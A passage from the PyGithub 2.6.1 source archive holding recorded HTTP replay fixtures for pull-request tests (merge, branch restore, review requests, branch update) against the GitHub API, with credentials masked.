X-GitHub-Media-Type, X-GitHub-SSO, X-GitHub-Request-Id, Deprecation, Sunset'), ('Access-Control-Allow-Origin', '*'), ('Strict-Transport-Security', 'max-age=31536000; includeSubdomains; preload'), ('X-Frame-Options', 'deny'), ('X-Content-Type-Options', 'nosniff'), ('X-XSS-Protection', '0'), ('Referrer-Policy', 'origin-when-cross-origin, strict-origin-when-cross-origin'), ('Content-Security-Policy', "default-src 'none'"), ('Vary', 'Accept-Encoding, Accept, X-Requested-With'), ('Content-Encoding', 'gzip'), ('Transfer-Encoding', 'chunked'), ('Server', 'github.com'), ('X-GitHub-Request-Id', 'C7CF:654DF:2BEC7D2F:2D0BFE0D:677BA3A2')] {"data":{"markPullRequestReadyForReview":{"clientMutationId":null,"pullRequest":{"isDraft":false}}}} ././@PaxHeader0000000000000000000000000000002600000000000010213 xustar0022 mtime=1740145523.0 pygithub-2.6.1/tests/ReplayData/PullRequest.testMerge.txt0000644000175100001660000000302414756101563023141 0ustar00runnerdockerhttps GET api.github.com None /repos/PyGithub/PyGithub/pulls/31/merge {'Authorization': 'Basic login_and_password_removed', 'User-Agent': 'PyGithub/Python'} None 404 [('status', '404 Not Found'), ('x-ratelimit-remaining', '4953'), ('content-length', '23'), ('server', 'nginx/1.0.13'), ('connection', 'keep-alive'), ('x-ratelimit-limit', '5000'), ('etag', '"e66a7a6c91e2c26803f3f49feb7a883f"'), ('date', 'Sun, 27 May 2012 10:29:06 GMT'), ('content-type', 'application/json; charset=utf-8')] {"message":"Not Found"} https PUT api.github.com None /repos/PyGithub/PyGithub/pulls/31/merge {'Content-Type': 'application/json', 'Authorization': 'Basic login_and_password_removed', 'User-Agent': 'PyGithub/Python'} {} 200 [('status', '200 OK'), ('x-ratelimit-remaining', '4952'), ('content-length', '109'), ('server', 'nginx/1.0.13'), ('connection', 'keep-alive'), ('x-ratelimit-limit', '5000'), ('etag', '"2cf4589169510ce73907214b7327fe5a"'), ('date', 'Sun, 27 May 2012 10:29:07 GMT'), ('content-type', 'application/json; charset=utf-8')] {"merged":true,"message":"Pull Request successfully merged","sha":"688208b1a5a074871d0e9376119556897439697d"} https GET api.github.com None /repos/PyGithub/PyGithub/pulls/31/merge {'Authorization': 'Basic login_and_password_removed', 'User-Agent': 'PyGithub/Python'} None 204 [('status', '204 No Content'), ('x-ratelimit-remaining', '4951'), ('server', 'nginx/1.0.13'), ('connection', 'keep-alive'), ('x-ratelimit-limit', '5000'), ('etag', '"d41d8cd98f00b204e9800998ecf8427e"'), ('date', 'Sun, 27 May 2012 10:29:08 GMT')] ././@PaxHeader0000000000000000000000000000002600000000000010213 xustar0022 mtime=1740145523.0 pygithub-2.6.1/tests/ReplayData/PullRequest.testMergeWithCommitMessage.txt0000644000175100001660000001304014756101563026452 0ustar00runnerdockerhttps GET api.github.com None /repos/PyGithub/PyGithub/pulls/39 {'Authorization': 'Basic login_and_password_removed', 'User-Agent': 'PyGithub/Python'} None 200 [('status', '200 OK'), ('x-ratelimit-remaining', '4990'), ('content-length', '4494'), ('server', 'nginx/1.0.13'), ('connection', 'keep-alive'), ('x-ratelimit-limit', '5000'), ('etag', '"716935e701e066a56718d7a8b2f409f8"'), ('date', 'Tue, 29 May 2012 18:07:53 GMT'), ('content-type', 'application/json; charset=utf-8')] {"merged":false,"diff_url":"https://github.com/PyGithub/PyGithub/pull/39.diff","head":{"ref":"master","label":"BeaverSoftware:master","repo":{"clone_url":"https://github.com/BeaverSoftware/PyGithub.git","has_downloads":true,"watchers":1,"updated_at":"2012-05-29T18:05:10Z","homepage":"http://vincent-jacques.net/PyGithub","url":"https://api.github.com/repos/BeaverSoftware/PyGithub","git_url":"git://github.com/BeaverSoftware/PyGithub.git","html_url":"https://github.com/BeaverSoftware/PyGithub","has_wiki":false,"has_issues":false,"fork":true,"forks":0,"mirror_url":null,"size":428,"private":false,"open_issues":0,"svn_url":"https://github.com/BeaverSoftware/PyGithub","owner":{"url":"https://api.github.com/users/BeaverSoftware","avatar_url":"https://secure.gravatar.com/avatar/d563e337cac2fdc644e2aaaad1e23266?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-orgs.png","gravatar_id":"d563e337cac2fdc644e2aaaad1e23266","login":"BeaverSoftware","id":1424031},"name":"PyGithub","language":"Python","description":"Python library implementing the full Github API v3","ssh_url":"git@github.com:BeaverSoftware/PyGithub.git","pushed_at":"2012-05-29T18:05:10Z","created_at":"2012-05-29T18:03:19Z","id":4485562,"full_name":"BeaverSoftware/PyGithub"},"user":{"url":"https://api.github.com/users/BeaverSoftware","avatar_url":"https://secure.gravatar.com/avatar/d563e337cac2fdc644e2aaaad1e23266?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-orgs.png","gravatar_id":"d563e337cac2fdc644e2aaaad1e23266","login":"BeaverSoftware","id":1424031},"sha":"ca6e7ef9ce22dc01290bb59507f24cc17f42daa4"},"updated_at":"2012-05-29T18:06:07Z","issue_url":"https://github.com/PyGithub/PyGithub/issues/39","_links":{"self":{"href":"https://api.github.com/repos/PyGithub/PyGithub/pulls/39"},"review_comments":{"href":"https://api.github.com/repos/PyGithub/PyGithub/pulls/39/comments"},"comments":{"href":"https://api.github.com/repos/PyGithub/PyGithub/issues/39/comments"},"issue":{"href":"https://api.github.com/repos/PyGithub/PyGithub/issues/39"},"html":{"href":"https://github.com/PyGithub/PyGithub/pull/39"}},"body":"","url":"https://api.github.com/repos/PyGithub/PyGithub/pulls/39","comments":0,"review_comments":0,"changed_files":15,"base":{"ref":"topic/RewriteWithGeneratedCode","label":"jacquev6:topic/RewriteWithGeneratedCode","repo":{"clone_url":"https://github.com/PyGithub/PyGithub.git","has_downloads":true,"watchers":17,"updated_at":"2012-05-29T18:04:08Z","homepage":"http://vincent-jacques.net/PyGithub","url":"https://api.github.com/repos/PyGithub/PyGithub","git_url":"git://github.com/PyGithub/PyGithub.git","html_url":"https://github.com/PyGithub/PyGithub","has_wiki":false,"has_issues":true,"fork":false,"forks":3,"mirror_url":null,"size":480,"private":false,"open_issues":15,"svn_url":"https://github.com/PyGithub/PyGithub","owner":{"url":"https://api.github.com/users/jacquev6","avatar_url":"https://secure.gravatar.com/avatar/b68de5ae38616c296fa345d2b9df2225?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","gravatar_id":"b68de5ae38616c296fa345d2b9df2225","login":"jacquev6","id":327146},"name":"PyGithub","language":"Python","description":"Python library implementing the full Github API v3","ssh_url":"git@github.com:jacquev6/PyGithub.git","pushed_at":"2012-05-29T18:04:07Z","created_at":"2012-02-25T12:53:47Z","id":3544490,"full_name":"jacquev6/PyGithub"},"user":{"url":"https://api.github.com/users/jacquev6","avatar_url":"https://secure.gravatar.com/avatar/b68de5ae38616c296fa345d2b9df2225?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","gravatar_id":"b68de5ae38616c296fa345d2b9df2225","login":"jacquev6","id":327146},"sha":"d57aea6a898050115a089e6f86c5314d7daf97e8"},"number":39,"html_url":"https://github.com/PyGithub/PyGithub/pull/39","patch_url":"https://github.com/PyGithub/PyGithub/pull/39.patch","mergeable":true,"title":"Pull request to be merged by PyGithub with a custom commit message","deletions":31,"merged_by":null,"additions":95,"closed_at":null,"created_at":"2012-05-29T18:06:07Z","user":{"url":"https://api.github.com/users/jacquev6","avatar_url":"https://secure.gravatar.com/avatar/b68de5ae38616c296fa345d2b9df2225?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","gravatar_id":"b68de5ae38616c296fa345d2b9df2225","login":"jacquev6","id":327146},"state":"open","id":1448168,"commits":2,"merged_at":null} https PUT api.github.com None /repos/PyGithub/PyGithub/pulls/39/merge {'Content-Type': 'application/json', 'Authorization': 'Basic login_and_password_removed', 'User-Agent': 'PyGithub/Python'} {"commit_message": "Custom commit message created by PyGithub"} 200 [('status', '200 OK'), ('x-ratelimit-remaining', '4989'), ('content-length', '109'), ('server', 'nginx/1.0.13'), ('connection', 'keep-alive'), ('x-ratelimit-limit', '5000'), ('etag', '"378c85a4f6b6694e0f7686effbc2c29f"'), ('date', 'Tue, 29 May 2012 18:07:54 GMT'), ('content-type', 'application/json; charset=utf-8')] {"merged":true,"message":"Pull Request successfully merged","sha":"2525d86ae3bf7d26003e2a6d5226a8d870499792"} ././@PaxHeader0000000000000000000000000000002600000000000010213 xustar0022 mtime=1740145523.0 pygithub-2.6.1/tests/ReplayData/PullRequest.testRestoreBranch.txt0000644000175100001660000001667314756101563024661 0ustar00runnerdockerhttps GET api.github.com None /repos/austinsasko/PyGithub/branches/revert-20-revert-19-revert-18-revert-16-revert-15-revert-14-revert-13-revert-12-revert-11-revert-10-revert-9-revert-8-revert-7-revert-6-revert-5-revert-4-revert-3-revert-2-revert-1-testing {'Authorization': 'Basic login_and_password_removed', 'User-Agent': 'PyGithub/Python'} None 404 [('Server', 'GitHub.com'), ('Date', 'Fri, 11 Dec 2020 22:17:26 GMT'), ('Content-Type', 'application/json; charset=utf-8'), ('Transfer-Encoding', 'chunked'), ('Status', '404 Not Found'), ('X-OAuth-Scopes', 'public_repo, read:user, repo:status'), ('X-Accepted-OAuth-Scopes', ''), ('X-GitHub-Media-Type', 'github.v3; format=json'), ('X-RateLimit-Limit', '5000'), ('X-RateLimit-Remaining', '4976'), ('X-RateLimit-Reset', '1607728588'), ('X-RateLimit-Used', '24'), ('Access-Control-Expose-Headers', 'ETag, Link, Location, Retry-After, X-GitHub-OTP, X-RateLimit-Limit, X-RateLimit-Remaining, X-RateLimit-Used, X-RateLimit-Reset, X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Poll-Interval, X-GitHub-Media-Type, Deprecation, Sunset'), ('Access-Control-Allow-Origin', '*'), ('Strict-Transport-Security', 'max-age=31536000; includeSubdomains; preload'), ('X-Frame-Options', 'deny'), ('X-Content-Type-Options', 'nosniff'), ('X-XSS-Protection', '1; mode=block'), ('Referrer-Policy', 'origin-when-cross-origin, strict-origin-when-cross-origin'), ('Content-Security-Policy', "default-src 'none'"), ('Vary', 'Accept-Encoding, Accept, X-Requested-With'), ('Content-Encoding', 'gzip'), ('X-GitHub-Request-Id', 'FFD4:76B6:DE30A:17C8D0:5FD3EFF6')] {"message":"Branch not found","documentation_url":"https://docs.github.com/rest/reference/repos#get-a-branch"} https POST api.github.com None /repos/austinsasko/PyGithub/git/refs {'Authorization': 'Basic login_and_password_removed', 'User-Agent': 'PyGithub/Python', 'Content-Type': 'application/json'} {"ref": "refs/heads/revert-20-revert-19-revert-18-revert-16-revert-15-revert-14-revert-13-revert-12-revert-11-revert-10-revert-9-revert-8-revert-7-revert-6-revert-5-revert-4-revert-3-revert-2-revert-1-testing", "sha": "adf76c80c6d28dc2d47b1a22622082786192c887"} 201 [('Server', 'GitHub.com'), ('Date', 'Fri, 11 Dec 2020 22:17:27 GMT'), ('Content-Type', 'application/json; charset=utf-8'), ('Content-Length', '959'), ('Status', '201 Created'), ('Cache-Control', 'private, max-age=60, s-maxage=60'), ('Vary', 'Accept, Authorization, Cookie, X-GitHub-OTP, Accept-Encoding, Accept, X-Requested-With'), ('ETag', '"50d4d8f24500a45face48f0774778f2df511639264b29745fc3a3dd0880943a6"'), ('X-OAuth-Scopes', 'public_repo, read:user, repo:status'), ('X-Accepted-OAuth-Scopes', 'repo'), ('Location', 'https://api.github.com/repos/austinsasko/PyGithub/git/refs/heads/revert-20-revert-19-revert-18-revert-16-revert-15-revert-14-revert-13-revert-12-revert-11-revert-10-revert-9-revert-8-revert-7-revert-6-revert-5-revert-4-revert-3-revert-2-revert-1-testing'), ('X-GitHub-Media-Type', 'github.v3; format=json'), ('X-RateLimit-Limit', '5000'), ('X-RateLimit-Remaining', '4975'), ('X-RateLimit-Reset', '1607728588'), ('X-RateLimit-Used', '25'), ('Access-Control-Expose-Headers', 'ETag, Link, Location, Retry-After, X-GitHub-OTP, X-RateLimit-Limit, X-RateLimit-Remaining, X-RateLimit-Used, X-RateLimit-Reset, X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Poll-Interval, X-GitHub-Media-Type, Deprecation, Sunset'), ('Access-Control-Allow-Origin', '*'), ('Strict-Transport-Security', 'max-age=31536000; includeSubdomains; preload'), ('X-Frame-Options', 'deny'), ('X-Content-Type-Options', 'nosniff'), ('X-XSS-Protection', '1; mode=block'), ('Referrer-Policy', 'origin-when-cross-origin, strict-origin-when-cross-origin'), ('Content-Security-Policy', "default-src 'none'"), ('X-GitHub-Request-Id', 'FFD5:79FB:DA378:17B0EA:5FD3EFF6')] {"ref":"refs/heads/revert-20-revert-19-revert-18-revert-16-revert-15-revert-14-revert-13-revert-12-revert-11-revert-10-revert-9-revert-8-revert-7-revert-6-revert-5-revert-4-revert-3-revert-2-revert-1-testing","node_id":"MDM6UmVmMzIwNjYxMzYwOnJlZnMvaGVhZHMvcmV2ZXJ0LTIwLXJldmVydC0xOS1yZXZlcnQtMTgtcmV2ZXJ0LTE2LXJldmVydC0xNS1yZXZlcnQtMTQtcmV2ZXJ0LTEzLXJldmVydC0xMi1yZXZlcnQtMTEtcmV2ZXJ0LTEwLXJldmVydC05LXJldmVydC04LXJldmVydC03LXJldmVydC02LXJldmVydC01LXJldmVydC00LXJldmVydC0zLXJldmVydC0yLXJldmVydC0xLXRlc3Rpbmc=","url":"https://api.github.com/repos/austinsasko/PyGithub/git/refs/heads/revert-20-revert-19-revert-18-revert-16-revert-15-revert-14-revert-13-revert-12-revert-11-revert-10-revert-9-revert-8-revert-7-revert-6-revert-5-revert-4-revert-3-revert-2-revert-1-testing","object":{"sha":"adf76c80c6d28dc2d47b1a22622082786192c887","type":"commit","url":"https://api.github.com/repos/austinsasko/PyGithub/git/commits/adf76c80c6d28dc2d47b1a22622082786192c887"}} https GET api.github.com None /repos/austinsasko/PyGithub/branches/revert-20-revert-19-revert-18-revert-16-revert-15-revert-14-revert-13-revert-12-revert-11-revert-10-revert-9-revert-8-revert-7-revert-6-revert-5-revert-4-revert-3-revert-2-revert-1-testing {'Authorization': 'Basic login_and_password_removed', 'User-Agent': 'PyGithub/Python'} None 200 [('Server', 'GitHub.com'), ('Date', 'Fri, 11 Dec 2020 22:17:27 GMT'), ('Content-Type', 'application/json; charset=utf-8'), ('Transfer-Encoding', 'chunked'), ('Status', '200 OK'), ('Cache-Control', 'private, max-age=60, s-maxage=60'), ('Vary', 'Accept, Authorization, Cookie, X-GitHub-OTP, Accept-Encoding, Accept, X-Requested-With'), ('ETag', 'W/"9e7706dfd919e04e9df872052add55475df9953d3b9c0d20df34fdeb8effc446"'), ('X-OAuth-Scopes', 'public_repo, read:user, repo:status'), ('X-Accepted-OAuth-Scopes', ''), ('X-GitHub-Media-Type', 'github.v3; format=json'), ('X-RateLimit-Limit', '5000'), ('X-RateLimit-Remaining', '4974'), ('X-RateLimit-Reset', '1607728588'), ('X-RateLimit-Used', '26'), ('Access-Control-Expose-Headers', 'ETag, Link, Location, Retry-After, X-GitHub-OTP, X-RateLimit-Limit, X-RateLimit-Remaining, X-RateLimit-Used, X-RateLimit-Reset, X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Poll-Interval, X-GitHub-Media-Type, Deprecation, Sunset'), ('Access-Control-Allow-Origin', '*'), ('Strict-Transport-Security', 'max-age=31536000; includeSubdomains; preload'), ('X-Frame-Options', 'deny'), ('X-Content-Type-Options', 'nosniff'), ('X-XSS-Protection', '1; mode=block'), ('Referrer-Policy', 'origin-when-cross-origin, strict-origin-when-cross-origin'), ('Content-Security-Policy', "default-src 'none'"), ('Content-Encoding', 'gzip'), ('X-GitHub-Request-Id', 'FFD6:76B6:DE386:17C99E:5FD3EFF7')] {"name":"revert-20-revert-19-revert-18-revert-16-revert-15-revert-14-revert-13-revert-12-revert-11-revert-10-revert-9-revert-8-revert-7-revert-6-revert-5-revert-4-revert-3-revert-2-revert-1-testing","_links":{"self":"https://api.github.com/repos/austinsasko/PyGithub/branches/revert-20-revert-19-revert-18-revert-16-revert-15-revert-14-revert-13-revert-12-revert-11-revert-10-revert-9-revert-8-revert-7-revert-6-revert-5-revert-4-revert-3-revert-2-revert-1-testing","html":"https://github.com/austinsasko/PyGithub/tree/revert-20-revert-19-revert-18-revert-16-revert-15-revert-14-revert-13-revert-12-revert-11-revert-10-revert-9-revert-8-revert-7-revert-6-revert-5-revert-4-revert-3-revert-2-revert-1-testing"},"protected":false,"protection":{"enabled":false,"required_status_checks":{"enforcement_level":"off","contexts":[]}},"protection_url":"https://api.github.com/repos/austinsasko/PyGithub/branches/revert-20-revert-19-revert-18-revert-16-revert-15-revert-14-revert-13-revert-12-revert-11-revert-10-revert-9-revert-8-revert-7-revert-6-revert-5-revert-4-revert-3-revert-2-revert-1-testing/protection"} ././@PaxHeader0000000000000000000000000000002600000000000010213 xustar0022 mtime=1740145523.0 pygithub-2.6.1/tests/ReplayData/PullRequest.testReviewRequests.txt0000644000175100001660000001440414756101563025103 0ustar00runnerdockerhttps POST api.github.com None /repos/PyGithub/PyGithub/pulls/31/requested_reviewers {'Authorization': 'Basic login_and_password_removed', 'Content-Type': 'application/json', 'User-Agent': 'PyGithub/Python'} {"reviewers":["sfdye"],"team_reviewers":["pygithub-owners"]} 201 '' https GET api.github.com None /repos/PyGithub/PyGithub/pulls/31/requested_reviewers {'Authorization': 'Basic login_and_password_removed', 'User-Agent': 'PyGithub/Python'} None 200 [('status', '200 OK'), ('x-ratelimit-remaining', '4985'), ('x-github-media-type', 'github.beta; format=json'), ('x-content-type-options', 'nosniff'), ('x-ratelimit-limit', '5000'), ('vary', 'Accept, Authorization, Cookie'), ('content-length', '1153'), ('server', 'nginx'), ('last-modified', 'Sat, 03 Nov 2012 08:19:40 GMT'), ('connection', 'keep-alive'), ('etag', '"1ec7d9f2ebb27db7dc002f1382d23975"'), ('cache-control', 'private, s-maxage=60, max-age=60'), ('date', 'Sat, 03 Nov 2012 08:19:46 GMT'), ('content-type', 'application/json; charset=utf-8')] {"users":[{"login":"sfdye","id":343369,"avatar_url":"https://avatars2.githubusercontent.com/u/343369?v=4","gravatar_id":"","url":"https://api.github.com/users/sfdye","html_url":"https://github.com/sfdye","followers_url":"https://api.github.com/users/sfdye/followers","following_url":"https://api.github.com/users/sfdye/following{/other_user}","gists_url":"https://api.github.com/users/sfdye/gists{/gist_id}","starred_url":"https://api.github.com/users/sfdye/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/sfdye/subscriptions","organizations_url":"https://api.github.com/users/sfdye/orgs","repos_url":"https://api.github.com/users/sfdye/repos","events_url":"https://api.github.com/users/sfdye/events{/privacy}","received_events_url":"https://api.github.com/users/sfdye/received_events","type":"User","site_admin":false}],"teams":[{"name":"pygithub-owners","id":585225,"slug":"pygithub-owners","description":"","privacy":"closed","url":"https://api.github.com/teams/585225","members_url":"https://api.github.com/teams/585225/members{/member}","repositories_url":"https://api.github.com/teams/585225/repos","permission":"pull"}]} https GET api.github.com None /repos/PyGithub/PyGithub/pulls/31/requested_reviewers {'Authorization': 'Basic login_and_password_removed', 'User-Agent': 'PyGithub/Python'} None 200 [('status', '200 OK'), ('x-ratelimit-remaining', '4985'), ('x-github-media-type', 'github.beta; format=json'), ('x-content-type-options', 'nosniff'), ('x-ratelimit-limit', '5000'), ('vary', 'Accept, Authorization, Cookie'), ('content-length', '1153'), ('server', 'nginx'), ('last-modified', 'Sat, 03 Nov 2012 08:19:40 GMT'), ('connection', 'keep-alive'), ('etag', '"1ec7d9f2ebb27db7dc002f1382d23975"'), ('cache-control', 'private, s-maxage=60, max-age=60'), ('date', 'Sat, 03 Nov 2012 08:19:46 GMT'), ('content-type', 'application/json; charset=utf-8')] {"users":[{"login":"sfdye","id":343369,"avatar_url":"https://avatars2.githubusercontent.com/u/343369?v=4","gravatar_id":"","url":"https://api.github.com/users/sfdye","html_url":"https://github.com/sfdye","followers_url":"https://api.github.com/users/sfdye/followers","following_url":"https://api.github.com/users/sfdye/following{/other_user}","gists_url":"https://api.github.com/users/sfdye/gists{/gist_id}","starred_url":"https://api.github.com/users/sfdye/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/sfdye/subscriptions","organizations_url":"https://api.github.com/users/sfdye/orgs","repos_url":"https://api.github.com/users/sfdye/repos","events_url":"https://api.github.com/users/sfdye/events{/privacy}","received_events_url":"https://api.github.com/users/sfdye/received_events","type":"User","site_admin":false}],"teams":[{"name":"pygithub-owners","id":585225,"slug":"pygithub-owners","description":"","privacy":"closed","url":"https://api.github.com/teams/585225","members_url":"https://api.github.com/teams/585225/members{/member}","repositories_url":"https://api.github.com/teams/585225/repos","permission":"pull"}]} https DELETE api.github.com None /repos/PyGithub/PyGithub/pulls/31/requested_reviewers {'Authorization': 'Basic login_and_password_removed', 'Content-Type': 'application/json', 'User-Agent': 'PyGithub/Python'} {"reviewers":["sfdye"]} 204 '' https GET api.github.com None /repos/PyGithub/PyGithub/pulls/31/requested_reviewers {'Authorization': 'Basic login_and_password_removed', 'User-Agent': 'PyGithub/Python'} None 200 [('status', '200 OK'), ('x-ratelimit-remaining', '4985'), ('x-github-media-type', 'github.beta; format=json'), ('x-content-type-options', 'nosniff'), ('x-ratelimit-limit', '5000'), ('vary', 'Accept, Authorization, Cookie'), ('content-length', '318'), ('server', 'nginx'), ('last-modified', 'Sat, 03 Nov 2012 08:19:40 GMT'), ('connection', 'keep-alive'), ('etag', '"1ec7d9f2ebb27db7dc002f1382d23975"'), ('cache-control', 'private, s-maxage=60, max-age=60'), ('date', 'Sat, 03 Nov 2012 08:19:46 GMT'), ('content-type', 'application/json; charset=utf-8')] {"users":[],"teams":[{"name":"pygithub-owners","id":585225,"slug":"pygithub-owners","description":"","privacy":"closed","url":"https://api.github.com/teams/585225","members_url":"https://api.github.com/teams/585225/members{/member}","repositories_url":"https://api.github.com/teams/585225/repos","permission":"pull"}]} https GET api.github.com None /repos/PyGithub/PyGithub/pulls/31/requested_reviewers {'Authorization': 'Basic login_and_password_removed', 'User-Agent': 'PyGithub/Python'} None 200 [('status', '200 OK'), ('x-ratelimit-remaining', '4985'), ('x-github-media-type', 'github.beta; format=json'), ('x-content-type-options', 'nosniff'), ('x-ratelimit-limit', '5000'), ('vary', 'Accept, Authorization, Cookie'), ('content-length', '318'), ('server', 'nginx'), ('last-modified', 'Sat, 03 Nov 2012 08:19:40 GMT'), ('connection', 'keep-alive'), ('etag', '"1ec7d9f2ebb27db7dc002f1382d23975"'), ('cache-control', 'private, s-maxage=60, max-age=60'), ('date', 'Sat, 03 Nov 2012 08:19:46 GMT'), ('content-type', 'application/json; charset=utf-8')] {"users":[],"teams":[{"name":"pygithub-owners","id":585225,"slug":"pygithub-owners","description":"","privacy":"closed","url":"https://api.github.com/teams/585225","members_url":"https://api.github.com/teams/585225/members{/member}","repositories_url":"https://api.github.com/teams/585225/repos","permission":"pull"}]} ././@PaxHeader0000000000000000000000000000002600000000000010213 xustar0022 mtime=1740145523.0 pygithub-2.6.1/tests/ReplayData/PullRequest.testUpdateBranch.txt0000644000175100001660000000575414756101563024456 0ustar00runnerdockerhttps PUT api.github.com None /repos/PyGithub/PyGithub/pulls/31/update-branch {'Accept': 'application/vnd.github.lydian-preview+json', 'Authorization': 'Basic login_and_password_removed', 'User-Agent': 'PyGithub/Python', 'Content-Type': 'application/json'} {"expected_head_sha": "addaebea821105cf6600441f05ff2b413ab21a36"} 202 [('Date', 'Thu, 12 Dec 2019 06:42:28 GMT'), ('Content-Type', 'application/json; charset=utf-8'), ('Content-Length', '116'), ('Server', 'GitHub.com'), ('Status', '202 Accepted'), ('X-RateLimit-Limit', '5000'), ('X-RateLimit-Remaining', '4992'), ('X-RateLimit-Reset', '1576136543'), ('location', 'https://api.github.com/repos/PyGithub/PyGithub/pulls/31'), ('X-OAuth-Scopes', 'repo'), ('X-Accepted-OAuth-Scopes', ''), ('X-GitHub-Media-Type', 'github.lydian-preview; format=json'), ('Access-Control-Expose-Headers', 'ETag, Link, Location, Retry-After, X-GitHub-OTP, X-RateLimit-Limit, X-RateLimit-Remaining, X-RateLimit-Reset, X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Poll-Interval, X-GitHub-Media-Type'), ('Access-Control-Allow-Origin', '*'), ('Strict-Transport-Security', 'max-age=31536000; includeSubdomains; preload'), ('X-Frame-Options', 'deny'), ('X-Content-Type-Options', 'nosniff'), ('X-XSS-Protection', '1; mode=block'), ('Referrer-Policy', 'origin-when-cross-origin, strict-origin-when-cross-origin'), ('Content-Security-Policy', "default-src 'none'"), ('X-GitHub-Request-Id', 'EDC9:1B2E:D52CCF:F43910:5DF1E152')] {"message":"Updating pull request branch.","url":"https://api.github.com/repos/PyGithub/PyGithub/pulls/31"} https PUT api.github.com None /repos/PyGithub/PyGithub/pulls/31/update-branch {'Accept': 'application/vnd.github.lydian-preview+json', 'Authorization': 'Basic login_and_password_removed', 'User-Agent': 'PyGithub/Python', 'Content-Type': 'application/json'} {} 202 [('Date', 'Thu, 12 Dec 2019 06:42:28 GMT'), ('Content-Type', 'application/json; charset=utf-8'), ('Content-Length', '116'), ('Server', 'GitHub.com'), ('Status', '202 Accepted'), ('X-RateLimit-Limit', '5000'), ('X-RateLimit-Remaining', '4992'), ('X-RateLimit-Reset', '1576136543'), ('location', 'https://api.github.com/repos/PyGithub/PyGithub/pulls/31'), ('X-OAuth-Scopes', 'repo'), ('X-Accepted-OAuth-Scopes', ''), ('X-GitHub-Media-Type', 'github.lydian-preview; format=json'), ('Access-Control-Expose-Headers', 'ETag, Link, Location, Retry-After, X-GitHub-OTP, X-RateLimit-Limit, X-RateLimit-Remaining, X-RateLimit-Reset, X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Poll-Interval, X-GitHub-Media-Type'), ('Access-Control-Allow-Origin', '*'), ('Strict-Transport-Security', 'max-age=31536000; includeSubdomains; preload'), ('X-Frame-Options', 'deny'), ('X-Content-Type-Options', 'nosniff'), ('X-XSS-Protection', '1; mode=block'), ('Referrer-Policy', 'origin-when-cross-origin, strict-origin-when-cross-origin'), ('Content-Security-Policy', "default-src 'none'"), ('X-GitHub-Request-Id', 'EDC9:1B2E:D52CCF:F43910:5DF1E152')] {"message":"Updating pull request branch.","url":"https://api.github.com/repos/PyGithub/PyGithub/pulls/31"} ././@PaxHeader0000000000000000000000000000002600000000000010213 xustar0022 mtime=1740145523.0 pygithub-2.6.1/tests/ReplayData/PullRequest1168.setUp.txt0000644000175100001660000001650214756101563022627 0ustar00runnerdockerhttps GET api.github.com None /repos/PyGithub/PyGithub {'Authorization': 'Basic login_and_password_removed', 'User-Agent': 'PyGithub/Python'} None 200 [('Date', 'Mon, 15 Jul 2019 17:30:19 GMT'), ('Content-Type', 'application/json; charset=utf-8'), ('Transfer-Encoding', 'chunked'), ('Server', 'GitHub.com'), ('Status', '200 OK'), ('X-RateLimit-Limit', '5000'), ('X-RateLimit-Remaining', '4940'), ('X-RateLimit-Reset', '1563215419'), ('Cache-Control', 'private, max-age=60, s-maxage=60'), ('Vary', 'Accept, Authorization, Cookie, X-GitHub-OTP, Accept-Encoding'), ('ETag', 'W/"5ae26eb62a9e18727e87861af55c7ed1"'), ('Last-Modified', 'Sun, 14 Jul 2019 13:11:51 GMT'), ('X-OAuth-Scopes', 'notifications, public_repo'), ('X-Accepted-OAuth-Scopes', 'repo'), ('X-GitHub-Media-Type', 'github.v3; format=json'), ('Access-Control-Expose-Headers', 'ETag, Link, Location, Retry-After, X-GitHub-OTP, X-RateLimit-Limit, X-RateLimit-Remaining, X-RateLimit-Reset, X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Poll-Interval, X-GitHub-Media-Type'), ('Access-Control-Allow-Origin', '*'), ('Strict-Transport-Security', 'max-age=31536000; includeSubdomains; preload'), ('X-Frame-Options', 'deny'), ('X-Content-Type-Options', 'nosniff'), ('X-XSS-Protection', '1; mode=block'), ('Referrer-Policy', 'origin-when-cross-origin, strict-origin-when-cross-origin'), ('Content-Security-Policy', "default-src 'none'"), ('Content-Encoding', 'gzip'), ('X-GitHub-Request-Id', 'D06A:402B8:332E7B2:3F5DC00:5D2CB82B')] {"id":3544490,"node_id":"MDEwOlJlcG9zaXRvcnkzNTQ0NDkw","name":"PyGithub","full_name":"PyGithub/PyGithub","private":false,"owner":{"login":"PyGithub","id":11288996,"node_id":"MDEyOk9yZ2FuaXphdGlvbjExMjg4OTk2","avatar_url":"https://avatars0.githubusercontent.com/u/11288996?v=4","gravatar_id":"","url":"https://api.github.com/users/PyGithub","html_url":"https://github.com/PyGithub","followers_url":"https://api.github.com/users/PyGithub/followers","following_url":"https://api.github.com/users/PyGithub/following{/other_user}","gists_url":"https://api.github.com/users/PyGithub/gists{/gist_id}","starred_url":"https://api.github.com/users/PyGithub/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/PyGithub/subscriptions","organizations_url":"https://api.github.com/users/PyGithub/orgs","repos_url":"https://api.github.com/users/PyGithub/repos","events_url":"https://api.github.com/users/PyGithub/events{/privacy}","received_events_url":"https://api.github.com/users/PyGithub/received_events","type":"Organization","site_admin":false},"html_url":"https://github.com/PyGithub/PyGithub","description":"Typed interactions with the GitHub API 